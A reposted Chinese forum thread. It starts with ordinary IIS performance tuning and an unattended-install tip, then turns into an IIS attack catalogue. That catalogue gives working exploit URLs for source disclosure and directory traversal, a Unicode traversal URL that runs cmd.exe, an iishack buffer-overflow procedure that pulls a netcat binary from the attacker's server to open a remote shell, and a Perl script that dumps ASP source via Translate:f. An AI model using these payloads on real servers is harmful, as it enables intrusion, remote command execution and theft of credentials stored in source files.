[转载]IIS的性能优化
文章来源:[url]http://www.pcdog.com[/url]IIS用了很长时间,但是要把它用好确实不容易。以下是我摘的一段关于IIS优化的文章,希望大家共同学习,更希望大家的补充。
为什么我的IIS比你棒(原作者:叶孤城)
管理互联网信息服务器(Internet Information Server,
IIS)的人们都知道,IIS是一个既简单又麻烦的家伙。简单的是安装它几乎不需要费什么脑筋,选择一下路径,然后一路按“下一步”就可以完成;配置也比较简单,只要有一定的NT和网络知识,照着说明书就可以架设一个像模像样的Web站点出来。然而管理IIS却没有想像的那样简单。使用一段时间以后,管理员往往会遇上服务器性能不良的情况。这时候,IIS的性能优化,就提上日程了。 导致IIS服务性能不良的原因有两个方面。一个是人为的,也就是说管理员在安装、配置IIS的时候没有进行优化或者配置错误。另一个则是客观上的,随着运行的服务种类,以及访问人数的增加,服务器原有的硬件配置已不能满足要求了,这就需要提高硬件配置。 在服务器配置上优化IIS性能 1.IIS高速缓存是对IIS进行优化时要考虑的最重要的项目之一。服务器保留了一部分内存空间用作IIS高速缓存,为将来的请求存储对象,这样IIS就可从高速缓存中检索对象而不用从硬盘中检索。 调整IIS高速缓存的容量需要修改注册表,表项如下: \HKEY_LOCAL_MACHINE
\System
\CurrentControlSet
\Services
\InetInfo
\Parameters
\MemoryCacheSize
MemoryCacheSize的范围是从0道4GB,缺省值为3072000(3MB)。 IIS通过高速缓存系统句柄、目录列表以及其他常用数据的值来提高系统的性能。这个参数指明了分配给高速缓存的内存大小。如果该值为0,那就意味着“不进行任何高速缓存”。在这种情况下系统的性能可能会降低。如果你的服务器网络通讯繁忙,并且有足够的内存空间,可以考虑增大该值。必须注意的是修改注册表后,需要重新启动才能使新值生效。 2.使IIS使用处理器时间最长。服务器的CPU处理器能力总是有限的。哪一个应用程序占用处理器的时间最长,谁的性能就能得到最大的提高。 (1)在NT的控制面板中,双击系统图标。 (2)单击性能标签。 (3)在应用程序性能下将游标拖到None的位置,这样就可以使所有正在运行的服务,包括IIS,使用处理器的时间达到最大值。 3.服务器属性设置。在服务器属性里有一项可以使网络应用程序的总处理能力最大的选项,你当然应该选择它。 (1)在桌面上右键单击网络邻居图标,然后选择属性选项。 (2)单击“服务标签”。 (3)单击“服务器”,然后按“属性”。 (4)选择最大化网络应用程序的总处理能力。然后单击“OK。” 提高硬件配置来优化IIS性能 当进行了上述的优化配置,IIS的性能仍然没有什么明显改善的话,也许你应该考虑提高服务器配置了。然而事关银子问题,老板们一定不会轻易同意,除非你用事实说服他。你必须在首先提高什么硬件配置上面考虑清楚。以下是在进行IIS优化时需要考虑的有关硬件: 处理器:可以升级为速度更快的CPU,还可以再增加一个CPU。但是代价太高了(也许会换主板什么的),老板很难接受。 硬盘:硬盘空间被NT和IIS服务以如下两种方式使用:一种是简单地存储数据;另一种是作为虚拟内存使用。如果使用Ultra2的SCSI硬盘,可以显著提高IIS的性能。 网络接口卡:如果服务器是在企业内部网上运行,那么可以考虑将他的网卡升级为100M网卡。这在网络带宽是瓶颈的情况下特别有效。 内存:增加内存可能是升级系统最简单、最有效的方法。也是笔者推荐的硬件升级首选方案。 那么如何知道需要进行硬件上的升级呢?这就和性能监视器的使用有关了。笔者会在其他文章中描述。在这里作简要介绍:比如你可以利用性能监视器来跟踪服务器上的CPU使用程度。并可以查看由内存调换到硬盘中的页面的数目和频率。将这些信息与内存使用情况以及其他系统信息相结合,就可以得到一张系统性能报告表。如果这些信息一直表现出很高的使用率,那么就说明应该升级硬件设备了。 优化IIS的注意事项 为了避免以后的头疼,在安装IIS之时就应该注意到IIS的优化。比如: 1.为了提高性能和节约资源,应该只运行需要的协议。这一点很多管理员都没有注意,笔者曾见到在一台只作Web服务的机器上同时安装有NetBEUI、Tcp/IP和IPX协议。显然这是不合理的。 2.应该将IIS服务器,设置为独立的服务器,不要让服务器去承受域控制器要求的额外负荷。试想:服务器一边在响应用户的登录,一边还要提供IIS服务,性能能不下降吗? 3.可以把NT服务器的页交换文件分布到多个物理磁盘上,注意是多个“物理磁盘”,分布在多个分区上是无效的。另外,不要将页交换文件放在与WIndows NT引导区相同的分区中。 4.使用磁盘镜像或磁盘带区集可以提高磁盘的读取性能。 5.关于日志的记录,应该采用文件记录而不是记录到ODBC数据源。此外,还可以在记录期间增加用来记录日志的内存缓冲区的容量来减少磁盘的活动。该缓冲区的缺省容量值为64KB。 6.最好把所有的数据都储存在一个单独的分区里。然后定期运行磁盘碎片整理程序以保证在存储Web服务器数据的分区中没有碎片。使用NTFS有助于减少碎片。笔者推荐使用Norton的Speeddisk,可以很快地整理NTFS分区。 7.虽然SSL可以提供相当可靠的加密传输。但是所需的额外开销会导致IIS服务器速度下降,尤其是在处理大型文件的时候。所以应该只对确实需要保护的目录进行SSL加密。++++++++++++++++++++++++++++++++++++++++ 在安装Windows2000的时候,如果你选择了安装IIS,那么在安装的时候系统将会你的%SystemDrive%里创建一个InetPub目录,而且还会在Inetpub目录下创建一个Scripts目录,IIS还会创建一个虚拟目录SCIPTS指向该目录,并且给这个目录执行权限。前段时间NSFocus安全小组研究发现的“Unicode解码目录遍历漏洞”大部分问题就是针对Web站点的可执行目录而言的,所以我们建议把该目录移到非系统盘在一定程度上可以保证一定的安全。
然而在我们选择安装系统组件的时候,无法自己定义IIS的安装盘符,所以才有了今天的这篇文章。 我们在安装系统的时候不选择安装IIS,等系统安装完成后手动来做,我们可以使用无人值守的方式自定义安装IIS 5.0。首先确认你的 Windows 2000的安装介质是可用的,本例中的安装介质是光盘,因此只要将安装光盘插入光驱即可,然后在你的硬盘或者软盘上创建一个无人值守安装文件,本例中我们将在D盘创建一个 IIS5install.txt 作为无人值守安装文件,下面我们看看该文件的内容:[Components] 所安装的组件
iis_common = on 公用文件
iis_inetmgr = on IIS管理器
iis_www = on WWW服务
iis_ftp = on FTP服务
iis_htmla = on Web方式的IIS管理器[InternetServer]
Path="D:\inetsrv" Common文件放置位置(如果你是卸载了IIS再手动装,公用文件还是会位置保持不变)
PathFTPRoot="D:\inetPub\FTPRoot" FTP的根路径
PathWWWRoot="D:\InetPub\wwwroot" WWW的根路径 将该文件存盘后,运行“sysocmgr /i:%windir%\inf\sysoc.inf /u:d:\iis5install.txt”,不会有提示框出现,系统将自动的为你安装好IIS,而且Scripts目录将会在D盘,使用“Unicode解码目录遍历漏洞”也就失效了。 如果你需要安装更多的IIS组件,点击后出现的是一个比较详细的无人值守安装文件IIS安全 去年下半年关于IIS的漏洞层出不穷,鉴于目前IIS的广泛使用,觉得有必要把收集的资料加以总结一下。下面是漏洞名称列表点击可以打开,以供大家参考:
(1)
Null.htw
[url]http://www.yesky.com/20010521/180704.shtmlhttp://www.yesky.com/20010521/180704.shtml[/url]
(8)webhits.dll & .htw
[url]http://www.yesky.com/20010521/180704_2.shtml[/url]
(2)MDAC- 执行本地命令漏洞
[url]http://www.yesky.com/20010521/180704.shtml[/url]
(9)ASP Alternate Data Streams(::$DATA)
[url]http://www.yesky.com/20010521/180704_2.shtml[/url]
(3)ASP Dot Bug (10)ISM.DLL 缓冲截断漏洞
[url]http://www.yesky.com/20010521/180704.shtml[/url]
(4)idc & .ida Bugs (11)存在的一些暴力破解威胁.htr程序
[url]http://www.yesky.com/20010521/180704.shtml[/url]
(5)+.htr Bug
[url]http://www.yesky.com/20010521/180704_3.shtmlhttp://www.yesky.com/20010521/180704_3.shtml[/url]
(12)Translate:f Bug
[url]http://www.yesky.com/20010521/180704_4.shtml[/url]
(6)NT Site Server Adsamples 漏洞
[url]http://www.yesky.com/20010521/180704_1.shtml[/url]
(13)IIS存在的Unicode解析错误漏洞
[url]http://www.yesky.com/20010521/180704_4.shtml[/url]
(7)IIS HACK
[url]http://www.yesky.com/20010521/180704_1.shtml1[/url].介绍 这里介绍的方法主要通过端口80来完成操作,具有很大的威胁性,因为作为网络服务器80端口总要打开的。如果想方便一些,下载一些WWW、CGI扫描器来辅助检查。
而且要知道目标机器运行的是何种服务程序,你可以使用以下命令:
telnet 《目标机》 80
GET HEAD / HTTP/1.0
就可以返回一些域名和WEB服务程序版本,如果有些服务器把WEB服务运行在8080,81,8000,8001口,你就TELNET相应的口上。
2.常见漏洞(1)、Null.htw
IIS如果运行了Index Server就包含了一个通过Null.htw有关的漏洞,即服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码, global.asa里面包含了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,进行逻辑分区和ROOT目录的访问。而这个"hit-highlighting"功能在Index Server中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量:
CiWebhitsfile
CiRestriction
CiHiliteType
你可通过下列方法传递变量来获得如default.asp的源代码:
[url]http://www.[/url]目标机.com/null.htw?CiWebhitsfile=/default.asp%20&%20
CiRestriction=none%20&%20&CiHiliteType=full其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。(2)、MDAC- 执行本地命令漏洞
这个漏洞出现得比较早,但在全球范围内,可能还有好多IIS WEB服务器存在这个漏洞,就像在今天,还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞,可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory,默认情况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,在默认情况下是SYSTEM用户。我们可以通过以下办法测试本机是否存在这个漏洞:
c:\》nc -nw -w 2 《目标机》 80
GET /msadc/msadcs.dll HTTP
如果你得到下面的信息:
application/x_varg
就很有可能存在此漏洞且没有打上补丁,你可以使用rain forest puppy网站的两个程序进行测([url]www.wiretrip.net/rfp[/url])==》mdac.pl和msadc2.pl。(3)、ASP Dot Bug
这个漏洞出现得比较早了,是Lopht小组在1997年发现的缺陷,这个漏洞也是泄露ASP源代码给攻击者,一般在IIS3.0上存在此漏洞,在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。[url]http://www.[/url]目标机.com/sample.asp.(4)、idc & .ida Bugs
这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,很奇怪有些人还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端。
[url]http://www.[/url]目标机.com/anything.idc 或者 anything.idq
(5)、+.htr Bug
这个漏洞是由NSFOCUS发现的,对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露:
[url]http://www.[/url]目标机.com/global.asa+.htr(6)、NT Site Server Adsamples 漏洞
通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:
[url]http://www.[/url]目标机.com/adsamples/config/site.csc(7)、IIS HACK
有人发现了一个IIS4.0的缓冲溢出漏洞,可以允许用户上载程序,如上载netcat到目标服务器,并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到站点[url]www.technotronic.com[/url]中去下载,另外你还需要一台自己的WEB服务器,也可以是虚拟服务器哦。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:
c:\》iishack.exe 《目标机》 80 《你的WEB服务器》/ncx.exe
然后你就使用netcat来连接你要检测的服务器:
c:\》nc 《目标机》 80
如果溢出点正确,你就可以看到目标机器的命令行提示,并且是远程管理权限。Codebrws.asp & Showcode.asp 。Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序,但不是默认安装的,这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是,这个查看器并没有很好地限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:
1.Codebrws.asp 和 Showcode.asp默认情况下不安装。
2.漏洞仅允许查看文件内容。
3.这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。
4.只允许同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装是个不错的方案,这样也可能比较好的防止最新的IIS5.0的unicode漏洞).
5,攻击者需要知道请求的文件名。
例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:
[url]http://www.[/url]目标机.com/iisamples/exair/howitworks/codebrws.asp?source=/
iisamples/exair/howitworks/codebrws.asp
你就可以查看到codebrws.asp的源代码了。
你也可以使用showcode.asp来查看文件:
[url]http://www.[/url]目标机.com/msadc/samples/selector/showcode.asp?
source=/msadc/../../../../../winnt/win.ini
当然你也可以查看一些FTP信息来获得其他的目标管理员经常使用的机器,或许其他的机器的安全性比WEB服务器差,如:
[url]http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.asp?[/url]
source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log
(8)、webhits.dll & .htw
这个hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)其原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致可以查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:
[url]http://www.[/url]目标机.com/nosuchfile.htw
如果你从服务器端获得如下信息:
format of the QUERY_STRING is invalid
这就表示你存在这个漏洞。
这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
攻击者可以使用如下的方法来访问系统中文件的内容:
[url]http://www.[/url]目标机.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
就会在有此漏洞系统中win.ini文件的内容。
(9)、ASP Alternate Data Streams(::$DATA)
$DATA这个漏洞是在1998年中期公布的,$DATA是在NTFS文件系统中存储在文件里面的main data stream属性,通过建立一个特殊格式的URL,就可能使用IIS在浏览器中访问这个data stream(数据流),这样做也就显示了文件代码中这些data stream(数据流)和任何文件所包含的数据代码。
其中这个漏洞需要下面的几个限制,一个是要显示的这个文件需要保存在NTFS文件分区(幸好为了"安全"好多服务器设置了NTFS格式),第二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字,WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个IIS3.0和4.0的版本补丁,
要查看一些.asp文件的内容,你可以请求如下的URL:
[url]http://www.[/url]目标机.com/default.asp::$DATA 你就得到了源代码。你要了解下NTFS文件系统中的数据流问题,你或许可以看看这文章:
[url]http://focus.silversand.net/newsite/skill/ntfs.txt[/url]
10)、ISM.DLL 缓冲截断漏洞
这个漏洞存在于IIS4.0和5.0中,允许攻击者查看任意文件内容和源代码。通过在文件 名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,会使IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送一个断开的 .Htr 并会延迟一段时间来返回一些你要打开的文件内容。可是要注意,除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL 第一次装入内存时工作。
[url]http://www.[/url]目标机.com/global.asa%20%20(...《=230)global.asa.htr(11)、存在的一些暴力破解威胁.htr程序
IIS4.0中包含一个严重漏洞就是允许远程用户攻击WEB服务器上的用户帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个.htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下:
c:\winnt\system32\inetsrv\iisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr
这样,攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务,请立即删除这个目录。
(12)、Translate:f Bug
这个漏洞发布于2000年8月15号([url]www.securityfocus.com/bid/1578[/url]),其问题是存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中,当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,因此在IIS4.0上也有这个漏洞,你可而已使用下面的脚本来利用这个漏洞:
#############################
use IO::Socket; #
my ($port, $sock,$server); #
$size=0; #
#############################
#
$server="$ARGV[0]";
$s="$server";
$port="80";
$cm="$ARGV[1]";
&connect;
sub connect {
if ($#ARGV 《 1) {
howto();
exit;
}
$ver="GET /$cm%5C HTTP/1.0
Host: $server
Accept: */*
Translate: f
\n\n";
my($iaddr,$paddr,$proto);
$iaddr = inet_aton($server) || die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) || die "Error: $!";
$proto = getprotobyname('tcp') || die "Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error:
$!";
connect(SOCK, $paddr) || die "Error: $!";
send(SOCK, $ver, 0) || die "Can't to send packet: $!";
open(OUT, "》$server.txt");
print "Dumping $cm to $server.txt \n";
while(《SOCK》) {
print OUT 《SOCK》;
}
sub howto {
print "type as follows: Trans.pl www.目标机.com codetoview.asp \n\n";
}
close OUT;
$n=0;
$type=2;
close(SOCK);
exit(1);
} 你可以使用下面的方法来获得源代码:
Trasn.pl www.目标机.com default.asp(13)、IIS存在的Unicode解析错误漏洞
NSFOCUS安全小组发现微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。
你可以使用下面的方法利用这个漏洞:
(1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能列出当前目录的内容:
[url]http://www.[/url]目标机.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
(2) 利用这个漏洞查看系统文件内容也是可能的:[url]http://www.[/url]目标机.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
这个漏洞是针对中文操作平台,你也可以使用"%c0%af"或者"%c1%9c"来测试英文版本,原因就是编码不同。
页:
[1]